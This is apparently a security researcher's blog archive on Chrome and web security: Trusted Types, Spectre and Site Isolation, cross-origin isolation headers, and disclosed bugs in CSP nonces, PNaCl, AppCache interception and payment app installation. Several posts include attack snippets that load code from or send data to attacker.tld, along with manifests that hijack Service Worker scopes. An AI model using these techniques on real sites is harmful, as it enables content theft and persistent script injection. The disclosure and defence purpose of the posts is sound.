2021年6月12日土曜日

Trusted Typesの概念と背景

今回はTrusted Typesに対する個人の見解を書いてみます。


Trusted Typesはブラウザが文字列を文字列以外の型として扱うSinkに対して、開発者に型の変換を強制するセキュリティ機能です。Trusted TypesによりDOM-based XSSを原理的に減らし、DOM-based XSSに対するセキュリティレビューを簡潔にすることが出来ます。

安全でないデフォルト

近頃のWeb開発ではTypeScriptがよく使われるようになりました。これは型を明示することにより、エラーを事前に防げるからです。

セキュリティでも同じことが言えます。そもそもelement.innerHTMLStringを代入出来ること自体が間違っているのです。innerHTMLはHTMLを代入する為のものであり、Stringを代入してもHTMLとして型の変換がされてしまうからです(i.e. re-parsing)。

同様に、scriptElement.textStringを代入すべきではなく、Scriptを代入するべきなのです。

このように、Web開発ではHTMLScriptなどをStringとして扱える安全でないコーディングがデフォルトでした。Trusted TypesはTrustedHTMLTrustedScriptTrustedScriptURLという3つの型を提供し、Opt-inでこの型に変換されるSinkに対して型のランタイム確認をすることができます。


なぜ現状のCSP script-srcではダメなのか

CSPのscript-srcは開発者が意図して読み込んだスクリプトを明示することにより、信頼するスクリプトのみを実行することが出来るセキュリティ機能です。しかし、Script Gadgetsなどの研究により、よく使われるフレームワークやライブラリのコード内にDOM-based XSSを引き起こすコードがあることが分かってきました。その為、CSPのscript-srcにより緩和されていたと思われていたXSSが場合によっては緩和出来ていないことが分かってきました。

なぜTrusted Typesなのか

Trusted TypesはWebアプリ内で実行されている全てのコードに対して型の確認がされます。その為、Webアプリで許可されているポリシーの安全性が確保出来ればDOM-based XSSがないということがほどんど担保できます。逆に言えば、DOM-based XSSに対するセキュリティレビューはTrusted Typeポリシー内のコードだけを読めばよくなります。これはSPAなどのStored XSSやReflected XSSがないウェブアプリからはXSS自体がなくなることを意味します。

更に最近ではPrototype Pollutionを使ってXSSの脆弱性がないアプリでも、プログラムのフローを変えて最終的にXSSに持っていくという手法があります。このような場合、Trusted Typesがデプロイされている環境であれば、危険なSinkを使うコードが極端に減るため、原理的にXSSに辿り着くことが難しくなります。

また、Prototype Pollutionを使ってHTML Sanitizerのコンフィグを改ざんするような手法でも、今後出てくるSanitizer APIを使うことによってXSSが発生するHTMLは返らないようになります。

(ただPrototype PollutionはXSSが出来なくても他の方法で悪用が出来ると思います)

Strict CSPとTrusted TypesをやってればXSSは完全に緩和できる?

いくつか分かっている問題があります。


Dynamic importにはTrustedScriptURL型が強制されるべきだが、多分Dynamic importがTC39の持ち物なので、それが叶わないと思われる。一応この問題を解決する為にDynamic Import Host Adjustmentという提案がされている。この問題はscript-srcにスクリプトを読み込めるオリジンのリストを指定することにより緩和できる。

Strict CSPでは'strict-dynamic'が許可されている為、Templateタグ内のHTMLをDOMに移すようなガジェットがある場合、Stored XSSかReflected XSSがあればXSS出来る可能性がある。この問題は'strict-dynamic'を無くしたNonceのみのCSPにより緩和できる。


終わりに

最近Trusted Typesに注目していたので、そこらへんの理由をまとめてみました。
次回、時間があれば既存のコードをどうやってTrusted Typeしていくか、みたいな記事を書こうかと思ってます。

2021年3月31日水曜日

A Hack to render untrusted content in an isolated process

Sometimes, Web apps needs to render untrusted content in their websites, where the content can execute script. And most of them are implemented in one of the following 2 ways.

  1. Create a sandboxed domain, where user can execute script but has no harm in the main product (e.g. *.googleusercontent.com)
  2. Render the content using sandboxed iframe, with Data URL or srcdoc (i.e. the script will have opaque origin).
With Spectre, the latter option becomes vulnerable 😕

Site Isolation

At the time of writing, Site Isolation is fully enabled only on desktop platforms of Chromium . So this post will only focus on the desktop platforms.

While Site Isolation takes care of isolating cross-site documents (i.e. option #1), it doesn't take care of same-site sandboxed iframes at the time of writing. Data URL and srcdoc (i.e. about:srcdoc) are considered same-site to the navigation initiator.

Therefore, script executing inside Data URL or srcdoc sandboxed iframes can read data of parent frame (i.e. the navigation initiator).

A real world example

Google Earth has a feature to import KML map. Google Earth renders KML map in a sandboxed iframe with srcdoc. And because KML map can have arbitrary contents including scripts, this allows an attacker with Spectre exploit to read data of earth.google.com.

This bug was reported to Google but marked as Won't Fix 😂

The following PoC shows the ability for an attacker to execute script inside the sandboxed iframe by showing a random YouTube video 😁

(* Audio is loud so turn off if you don't want to listen 😊)

A Hack to render untrusted content in an isolated process 

As you might have guessed from the title of this blog post, there is a solution to this problem 😉
I've mentioned in my Site Isolation blog post, that a Blob URL with opaque origin will have its process isolated based on origin AND path.
We can use this fact to create a Blob URL from an opaque origin document. Which will result in creating a Blob URL with opaque origin, which is guaranteed to have an isolated process per new Blob URL if navigated.

The following PoCs shows this in action 😎

Conclusion

If your site renders untrusted scripts using sandboxed iframe with either srcdoc or a Data URL, you should use a Blob URL with opaque origin instead 🙂

2020年3月3日火曜日

投機的なWebの修復

先日Mozaic.fmでCross Origin Info Leaksについて話しました。

  1. ep63 Cross Origin Info Leaks
  2. 雑談編(こちらはプラバシーや新しいEdgeなどセキュリティとは関係ない雑談です)
ここではMozaicで話した事をまとめてみたいと思います。


スペクターとはなんだったのか

スペクターはCPUの脆弱性で、別のOSプロセスの情報をサイドチャネル攻撃を使って読み取れる脆弱性の総称です。

各OSプロセスはそれぞれアドレス空間が割り当てられ、別プロセスの情報は原則読み取ることは出来ません。勿論、WindowsのMedium Integrity Level(IL)のプロセスなどは、ユーザ権限がある為、権限が同等もしくは低いプロセスをデバッグできるので、別プロセスの情報を読むことが出来ます(権限が高いプロセスはデバッグ出来ないのでEoPではない)。しかしこれはMedium IL以上のプロセスが出来ることであり、権限の低いプロセスではこのようなことは出来ません。
その為、プロセス間で通信する際にはInter-Process Communication(IPC)が必要となります。

しかしスペクターを使うことで、例えばウェブページをレンダリングするレンダラプロセス(Chromeの場合、Untrusted IL)からブラウザプロセス(Medium IL)に割り当てられたメモリを読むことが出来てしまいます。更に、それがJavaScriptからも出来ていました。

何が直ったのか

スペクターにはいくつかの種類があり、正確に全てがどう直ったのかは分かりません。

  1. OSにより修正が違うものがある
  2. CPUから提供されたマイクロコードのパッチにはどう直したかの説明がない
実際にGoogle ProjectZeroが直ったはずのRIDLを使ってレンダラプロセスを掌握した攻撃者はChromeのサンドボックスを迂回出来ることを証明しています。

ただ、OSが保証する範囲は各プロセス隔離である為、スペクターのパッチが完璧にされているとしても、同一プロセス内のメモリを読むサイドチャネルは可能です。

何故ブラウザの問題は残っているのか

ブラウザはクロスオリジンのiframeなどを従来親フレームと同一プロセス内にレンダリングしていました。これが問題の原点で、スペクターを使うとJavaScriptから同一プロセス内のメモリを読めるということは、例えば攻撃者のサイトからGoogle.comのコンテンツが読めると言うことになります。

しかし、JavaScriptから同一プロセス内のメモリを読めると言うのは直接何かを読めるわけではなく、細工されたJavaScriptを実行し、CPUが計算処理をした後の返り値の速さを元にして情報を読み取ります。その為、攻撃にはCPUの処理速度の違いがわかるほど精密なタイマーが必要となります。

ブラウザはどの様な対策をとったのか

上記の通り、攻撃には精密なタイマーが必要な為全てのブラウザが以下の緩和策を取りました。

  1. performance.nowの精度を下げた
  2. SharedArrayBufferを無効にした
更にChromeのデスクトップ版ではSite Isolationが有効になり、各サイトごとにプロセスが割り当てられ隔離されるようになりました。その為、Chromeのデスクトップ版ではSharedArrayBufferが有効になっています。

ブラウザの対策は十分だったのか

ChromeのJavaScriptエンジンのV8チームのブログによると、全ブラウザがとった緩和策には大きく分けて2つの弱点があるそうです。
  1. サイドチャネルが発生するCPUの処理を何度も実行させ、CPUの処理を増やすことにより、精度が落ちたperformance.nowでも処理速度の違いが分かるようになる
  2. Webの技術を使ってperformance.now以外にも精度の高いタイマーが作れるという論文が公開されている
このことから、Chromeは緩和策が完璧な対策にはならないと考え、Site Isolationへの舵をきりました。

Site Isolationとは

各サイトを個別のプロセスにレンダリングするセキュリティ機能です。
元々は攻撃者にJavaScriptエンジンなどのメモリ破壊バグを突かれ、プロセスが掌握されてしまったとしても、他サイトの情報を盗まれない様にする為開発が進められていました。

しかし、サイトごとにプロセスを分けるという設計なので、スペクターの対策にもなることが分かり、開発の速度が一気に上がりました。Chrome 67でスペクター対策として有効にされ、Chrome 77でプロセスが攻撃者に掌握されてもUXSSなどが出来ない様になりました。

しかし、Site IsolationはあくまでOSレイヤーでのプロセスの隔離で成り立っている機能であり、OS以上のレイヤーでセキュリティ境界が崩れた場合は役に立ちません。つまり新しいもしくは古いスペクターの種類のパッチがCPUまたはOSで完全に出来ていない場合、Site Isolationまたはブラウザでの対策は出来ません。

雑談ですが、そもそも何故ブラウザにUXSSが発生してしまうのかというと、レンダラプロセス内に実装されているSame-Origin Policyを迂回出来るバグがあり、そこが迂回出来てしまうと別サイトも同じプロセス内にレンダリングされていた為、容易に別サイトにアクセス出来ていました。Site Isolationはレンダラプロセス内のSame-Origin Policyにバグがあったとしても、そもそもそのプロセスに別サイトのデータがなきゃアクセス出来ないよね?という面白い設計で、僕なら絶対考えつかないなーと思いました。

Cross-Origin Read Blocking(CORB)とは

重要度が高いクロスオリジンなリソースが別サイトのレンダラプロセスに展開されることを防ぐセキュリティ機能です。
実はSite Isolationだけでスペクターの対策が出来るわけではありません。 例えば、攻撃者サイトがGoogle.comを画像として埋め込んだ場合(<img src="https://www.google.com">)、ブラウザは画像を表示する為に攻撃者サイトのレンダラブロセスにGoogle.comのコンテンツを展開してしまいます。この時点でスペクターを使うことによりGoogle.comのコンテンツが読めてしまいます。

この攻撃を防ぐ為、CORBはHTML、XML、JSON、PDF、ZIPなどのMIMEタイプが設定されたリソースを別サイトのプロセスに読み込まれることを防ぎます。CORBにより重要なリソースはデフォルトで保護されます。

Cross-Origin Resource Policy(CORP)とは

オプトインで任意のリソースを同一オリジンか同一サイトのみに埋め込みを許可することが出来るセキュリティ機能です。
残念ながら上記CORBはブラックリストベースの保護機能であり、例えば攻撃者サイトが他サイトの画像を埋め込むことを防ぐことは出来ません(Webが壊れる為)。

しかし、オプトインのCORPヘッダーを指定することで、任意のリソースの埋め込みを制限出来る為、例えば総理大臣の給与明細の画像が別サイトからスペクターを使って盗まれるということが起きなくなります。

COEPの登場により、CORPを使って逆にこのリソースは別サイトから埋め込まれてもいいという明示的な指定にも使われることになりそうです。

Cross-Origin Embedder Policy(COEP)とは

ウェブページとそのページをトップフレームとする全てのフレーム内に埋め込まれるリソースが明示的に埋め込まれていることを保証するセキュリティ機能です。

Site Isolationが有効になっていないブラウザでSharedArrayBufferなどが使えないのはWebの為に健全なことではありません。その為、SharedArrayBufferが使いたいウェブページのプロセスを隔離し、そのプロセス内に埋め込まれるリソースが全て明示的に埋め込まれていれば攻撃のしようがないよね、というのがCOEPです。

COEPヘッダーを指定したウェブページはそのページとそのページをトップフレームとする全てのフレーム内に埋め込まれるリソースが明示的にCORSかCORPを指定して許可していなければなりません。明示的に指定がないリソースはブロックされてしまいます。

Cross-Origin Opener Policy(COOP)とは

別のタブにあるWindowまたはOpenerの参照を無くすセキュリティ機能です。

COEPのみだとまだSharedArrayBufferなどは有効に出来ません。それはウェブページにある全てのリソースが明示的に埋め込まれていても、そのページへの参照をもつページが別のタブに開かれている場合、双方が同一プロセス内にレンダリングされるからです。

この状況を防ぐ為、例えばCOOPヘッダーをsame-originに指定するとそのページの参照がクロスオリジンなタブからは取れなくなります。これによりブラウザがCOEPヘッダーとCOOP same-originヘッダーの両方が指定されているページのプロセスを隔離することにより、そのページ上ではSharedArrayBufferなどが有効に出来る想定です。

COOPはそれ以外にも今まで常に可能だったクロスオリジンなタブのフレーム数のリークなどを防ぐ用途としても使えます。

Securer Contextとは

Secure Contextを拡張し、現在のSecure ContextをSecure Context Transportとして、COEPヘッダーとCOOP same-originヘッダーの両方が指定されているページをSecure Context Isolationとし、Strict CSP(とTrusted Types?)が指定されているページをSecure Context Injectionとしようという提案です。

つまり、現在のSecure Contextがないと使えないWeb APIがある様に、Secure Context IsolationがないとSharedArrayBufferなどを使えなくし、更にSecure Context InjectionがないとWebUSBなど強力なAPIを使えない様にしていこうという提案です。

個人的には、Webに必要なのかと言われる様な強力なAPIなどにPermission以外にも必要な制限をかけるというのはとても良いことだと思います。



ポッドキャストで説明した全ての機能は説明出来なかったので、時間がある方は是非ポッドキャストを聞いてみて下さい!

2019年9月18日水曜日

Nonce-based CSP + Service Worker = CSP bypass?

Service Worker is a great technology that allows you to develop web app's offline experience and increase performance of your website.

But this also means that a web page is cached. And if your website has a nonce-based CSP, then your CSP will also be cached. This means, no matter how random the nonce is (and you serve different nonces for every request), as long as Service Worker sees that the request is same, it'll respond with cached content, which always have the same CSP nonce.

To see if this can be exploited, I made a CSP bypass challenge.

Above page uses Strict CSP, and Service Worker code was taken from Google's SW intro page (second example you see when you click the link).

So it should be safe against XSS bugs, right? :)

Well, challenge was made in a way that it's possible to bypass Strict CSP, and I'm hoping that people will find this CSP bypass in real websites someday :)

The challenge has 2 injection points.
  1. location.hash (Service Worker doesn't see the hash)
  2. Referrer passed to server (Service Worker doesn't see this either)
There are many other sources of XSS that Service Worker doesn't use as a key for a request (e.g. Stored XSS payload can't be keyed either).

Intended solution was following.

Gareth wrote a great post about leaking information using <base> tag's target attribute even under Strict CSP. I used similar trick, which is iframe's name. I used referrer to inject iframe and name attribute leaked nonce of the legit script tag, and simply used a leaked nonce to execute script, through location.hash. This is possible because Service Worker doesn't care about changes in location.hash so it'll still serve cached content.

On the other hand, @lbherrera_ solved the challenge using CSS.

He used referrer to inject <input> tag and set nonce as a value, and then brute-forced nonce character one by one using CSS. When when brute-force identifies a character, it'll send a request to his server, which will set the cookie with a matched nonce character, and save whole nonce this way. After whole nonce is stolen, he would use the location.hash to perform XSS with proper nonce.

Conclusion:
  1. Service Worker might help bypass nonce-based CSP
  2. Always fix XSS bugs even if XSS is blocked by CSP. Time to time, I find CSP bypass in the browser as well (e.g. this). All mitigations have bypasses :)
Update:
After publishing this post, I saw some comments that are worth noting, so I'm sharing it here.

@SecurityMB shared a solution by taking over valid nonce. This is possible in non-chromium browsers because they don't have nonce-hiding protection in the browser. This also means that one DOM-based XSS that can't be keyed by Service Worker is enough to bypass nonce-based CSP because you can use recursive CSS import to leak the nonce. Check out ONSEN tool by @mage_1868 for example.

@we1x shared his opinion that any form of caching allows extraction of nonces. This gave me an idea that Signed HTTP Exchanges (i.e. SXG files) is actually not compatible with nonce-based CSP by design. Because it's a file that stores response headers as well as response body for maximum 7 days (where DOM-based XSS could still occur). Which I've filed an issue and looking forward to a solution :)

2019年7月2日火曜日

Intro to Chrome's (g)old features

This post is about following 2 features and how to (ab)use them.
  1. PNaCl
  2. Chromium-Intercept
Those 2 features are old enough that they might die any time soon. So I thought it's a good idea to let them shine before they die :)

PNaCl
Portable Native Client is an older brother of WebAssembly. Basically you can run your C/C++ code on a web page using PNaCl. Pepper API provides useful classes that can be used in PNaCl. One of the interesting class is a URLLoader class (and related URLRequestInfo and URLResponseInfo classes). 

Basically you can send a request to same-origin URL and read a response (for cross-origin requests, CORS comes in). But same-origin to what? to the embedder.

Let's say you have HTML injection in https://vicitm.tld, but you can't make that into XSS because CSP: script-src isn't bypassable. With PNaCl, you can do:
<embed src="https://attacker.tld/url_loader.nmf" type="application/x-pnacl">
And you can now make requests to anywhere in https://vicitm.tld, read response, and send that content back to your origin :)

Here's a PoC. See following for more details:

Unfortunately, PNaCl is about to die. Starting from Chrome 76, you'll need to have an Origin Trial token before body tag of the page to use PNaCl. But thanks to Eduardo's idea, you can actually use iframe's srcdoc to have the token inside head tag (assuming that CSP frame-src is set to 'self'). Since anyone can issue an Origin Trial token for any site, PNaCl can shine till the end :)

Here's a PoC with Origin Trial token.

I think this explains well about why CSP: object-src needs to be 'none'.

PS: If you use Chromium-based Edge, PNaCl isn't supported so you should be safe :)


Chromium-Intercept
Chromium-Intercept is a special section in AppCache that's only supported in Chrome (and possibly Chromium-based browsers). AppCache is used for serving contents offline or during error. So usually you are only allowed to intercept requests when response code is a error code (i.e. 4xx). But Chromium-Intercept will allow you to intercept the request even if response is not an error code.
CHROMIUM CACHE MANIFEST 
CACHE: 
NETWORK:  
FALLBACK: 
CHROMIUM-INTERCEPT: 
/ return /fallback.html

But there's a requirement that AppCache manifest's MIME type has to be "text/cache-manifest" in order to use Chromium-Intercept.

AppCache is really great for exploiting sandbox domains. This has been discussed in detail by @filedescriptor and @fransrosen so you should take a look.


But I want to call out one thing. You can still intercept requests from different directory within same-origin in Chrome (which was explain as fixed in this slide). It's just that Chrome now requires AppCache manifest's MIME type to be "text/cache-manifest" (again) in order to intercept requests from different directory.

Here's a PoC of using Chromium-Intercept to steal content of different directory on the fly :)
Go to https://test.shhnjk.com/alert.html after visiting PoC link. It should alert content of alert.html after intercepting the initial request.
This has been patched by https://www.chromestatus.com/feature/5125554036539392

As you can see, Chromium-Intercept is great for stealing contents on the fly, which maybe required when contents are served only with user's cookie. I was able to use this technique against some Google services (and I got $5k x 2).


Hope you enjoyed the post :)

2018年9月10日月曜日

What Permission Delegation changes in Web Security

There is a plan to ship Permission Delegation in Chrome 71. So I will try to summarize what would change in Web Security.

Reasons of why this is happening are explained in this doc so I will skip that part.
If Chrome 71 ships Permission Delegation by default, following is what happens.


Before Permission Delegation



After Permission Delegation

Basically, all permission prompt from cross-origin iframes will also have top-level origin. Of course, most of strong permissions can be requested from cross-origin iframes only if allow attribute is present (<iframe src="https://other.tld" allow="geolocation">) or explicitly allowed by Feature Policy response header (Feature-Policy: geolocation https://other.tld;).

So what would Permission Delegation change in Web Security? Let's say you have HTML injection in some site, but you can't turn that into XSS for whatever reason (e.g. CSP, XSS Auditor, etc). You can now frame your site with allow attribute and inherit permissions from top-level website (or request permission to users with origin of top-level website).

To protect a website against this permission inheritance issue, you should:

  • Set appropriate Feature Policy response header in all of responses
Or
  • Set CSP response header with appropriate frame-src directive in all of responses
These solution will not solve an issue where https://trusted.tld intentionally frames https://other.tld with allow attribute and https://other.tld has XSS in other pages. Permissions given to https://trusted.tld  are automatically inherited to https://other.tld frame, thus XSS can access that frame through DOM and abuse inherited permissions.

Let me know if something needs clarification 🙂

2018年9月8日土曜日

Abusing just-in-time payment app in Chrome

While I was reading about Payment Handler API, I came across one sentence.
Chrome also supports a non-standard feature we call just-in-time (JIT) installation
Alright, smells like a bug. So I quickly checked how it works, which can be found here. First, Payment Handler API allows payment provider to handle payment request sent to them (with API based on Service Worker). And what is JIT installation of payment app? I won't explain everything, but here's what happens.
When Payment Request is called with unsupported method, say:
new PaymentRequest([{ supportedMethods: 'https://example.com/pay/' }], { ... });
Chrome will fetch a URL specified in supportedMethods (e.g. https://example.com/pay/). Fetched page needs to respond with following response header pointing to Payment Method Manifest.
Link: <https://example.com/pay/payment-manifest.json>; rel="payment-method-manifest"
Now, Chrome will fetch Payment Method Manifest previously specified. Which looks like following.
{ "default_applications": ["https://example.com/pay/web-app-manifest.json"], "supported_origins": ["https://example.com"] }
Next up, Chrome will fetch Web App Manifest previously specified. Which looks like following.
{
  "name": "Pay with Example",
  ....
  "serviceworker": {
    "src": "service-worker.js",
    "scope": "https://example.com/pay/"
  },
  ...
}
Chrome will register Service Worker with JavaScript file pointed in "src" value with scope of "scope" value. Though, there *was* one condition in JIT installation that user has to click on "Pay" button.


Luckily, "Pay" button has default focus, so we could ask victim to hold enter key for 3 seconds and we could trigger JIT installation.
Have you noticed something in the image? Payment app seems to be from www.google.com. What happened? It turns out that you could specify arbitrary "scope" in Web App Manifest with Service Worker script from your site, and it'd happily register payment app with any scope 😀
{
  "name": "Pay to Attacker",
  ....
  "serviceworker": {
    "src": "https://attacker.tld/service-worker.js",
    "scope": "https://www.google.com/"
  },
  ...
}
Though, it behaved weirdly because Service Worker still had origin of attacker's site event though it was registered with Google's scope. I could't intercept navigation/payment request, but I could use some APIs like Console API, which logged arbitrary message whenever user goes to google.com's console.

This bug was really close to UXSS but I couldn't make it (I should've tried with Data URL script). Anyways, this bug was internally fixed in 2 days after report and JIT installation was disabled for Chrome 68 before the release ($5K).

Another thing I noticed was, you don't actually need script execution in victim's site to trigger JIT installation. Let's say, attacker has following script in his/her site.
new PaymentRequest([{ supportedMethods: 'https://attacker.tld/' }], { ... });
Chrome would fetch unsupported method which respond with following response header.
Link: <https://attacker.tld/payment-manifest.json>; rel="payment-method-manifest"
Chrome fetches Payment Method Manifest as follows.
{ "default_applications": ["https://victim.tld/user-upload/web-app-manifest.json"], "supported_origins": "*"  }
Now, Chrome fetches Web App Manifest from victim's site. This Web App Manifest can respond with any Content-Type, Content-Disposition, etc. Some of you maybe thinking, "Cross-origin No-CORS request to a JSON file? Isn't this supposed to be blocked by CORB?". You are right. Response should be blocked if this request happens from renderer process. But this request is sent by browser process, thus not in scope of CORB (though, Chrome needs to make sure that response is not leaked to renderer process).

Anyways, Chrome would continue and fetches Web App Manifest specified above. Which is following.
{
  "name": "Pay to Attacker",
  ....
  "serviceworker": {
    "src": "https://victim.tld/user-upload/service-worker.js",
    "scope": "https://victim.tld/user-upload/"
  },
  ...
}
Service Worker script needs to be Javascript Content-Type, but Content-Disposition etc doesn't matter.
In summary, If you have ability to upload some files to victim's site, you could install Service Worker without having script execution in victim's site (which is an eternal XSS). Of course this is a bug, so I reported it and fixed in 3 weeks ($3K).

So, first bug was fixed by checking that Web App Manifest, Service Worker script, and Scope URL are same-origin and second bug was fixed by checking that Payment Method Manifest and payment app are a same-site. Let's hack this 😆

Attacker's site calls:
new PaymentRequest([{ supportedMethods: 'https://redirect.victim.tld/open-redirect?url=//attacker.tld/' }], { ... });
Chrome fetches unsupported method which redirects to attacker's site, which respond with following response header.
Link: <https://victim.tld/user-upload/payment-manifest.json>; rel="payment-method-manifest"
And rest are the same. We just needed to upload another file to victim's site (the Payment Method Manifest), and hope that victim's site has open redirect in anywhere same-site to file uploaded origin. This passes all security checks, yet having Service Worker installation in victim's site without script execution. This was also fixed in 2 days after my report ($3133.7).

And finally, JIT payment app is available in Chrome 69.

[Update 03/26/2019]: Following Same-Site installation is now patched!
https://chromium.googlesource.com/chromium/src/+/3d9cdcca87fe1dff950c8daa61c1675688d11dfb

So what's possible now? You could still install Service Worker within same-site if:
  1. You can control response header to respond with arbitrary Link header
  2. You can upload JS file and JSON-looking file within same-site to where you control the response header
I think control over response header is difficult to achieve so current mitigation is good enough (though, maybe this is a new way to abuse subdomain takeover?). And we no longer require victim to hold enter key. Chrome will happily accept click or keypress as a user consent.

Here is a PoC for same-site Service Worker installation.

Special thanks to @agektmr and @fugueish for the swift response on my inquires around JIT installation.

I'm hoping to do another post this month. Stay tuned 🙂